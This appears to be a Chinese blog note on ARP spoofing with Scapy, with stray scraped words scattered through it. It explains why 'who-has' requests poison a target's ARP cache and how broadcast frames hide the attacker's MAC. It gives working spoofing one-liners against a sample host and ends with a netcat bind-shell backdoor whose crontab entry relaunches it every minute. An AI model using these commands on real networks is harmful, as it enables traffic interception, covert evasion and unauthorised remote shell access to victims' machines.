scapy 中的ARP

scapy 經常使用命令函數

ls() //查看支持的協議對象
lsc() //查看函數
show() //查看數據包結構
send() //三層發包
sr() //三層收發
sr1() //三層收發只收一 timeout指定超時 verbose指定詳情
sendp() //二層發包
srp() //二層收發
srp1() //二層收發只收一 timeout指定超時 verbose指定詳情對象

 

爲何選用op=1(who has)能欺騙成功, 而op=2(is-at)沒法欺騙成功?crontab

分析:psr

使用whohas 時,攻擊機發送 who has 192.168.10.66 tell 192.168.10.1請求

因此當66主機接受到該詢問包時,就會記錄發送請求的 源IP 和 源MAC ,im

而源IP是假的, 因此欺騙成功總結


而 使用is-at時,攻擊機先詢問 who has 192.168.10.66 tell 192.168.10.16數據

16是攻擊機,因此此時目標66收到該詢問包時就已經記錄了 192.168.10.16 和 16的MAC協議

地址映射,然後發送的 192.168.10.1 is at 16的MAC 就已經沒有用了查詢

總結:

ARP欺騙一臺主機,只有經過發送ARP請求包,對方纔收到請求本身的MAC地址時,

會把源IP和源MAC映射記錄,這一過程是欺騙的關鍵,也就是被動欺騙,經過op=2

主動和對方說某IP是某MAC地址這樣的方式是不會被記錄的。

 

 

爲何欺騙成功後,本身的真實的IP-MAC會被目標記錄

由於若是直接ARP發包,不指名 Ether包,系統默認會先去請求目標端mac地址

這個過程就被記錄了真實的,而後經過返回的目標mac構造第二層數據幀來發送

只要本身發送廣播幀,就能夠避免請求查詢mac地址的這一過程,從而避免漏出痕跡


下面發包不帶痕跡清理
send(ARP(psrc="192.168.10.1", pdst="192.168.10.66"));

 

下面是兩個有效的發包(帶痕跡清理)

監聽模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.1", pdst="192.168.10.66"))

防禦模式
sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(psrc="192.168.10.16", hwsrc="8c:89:a5:8f:4a:d7", pdst="192.168.10.66"))

 

 

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo
----------------------------------------------------------------
crontab -e
* * * * * sleep 0;cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 端口 > /tmp/tmp_fifo

每分鐘執行一次命令

相關文章
相關標籤/搜索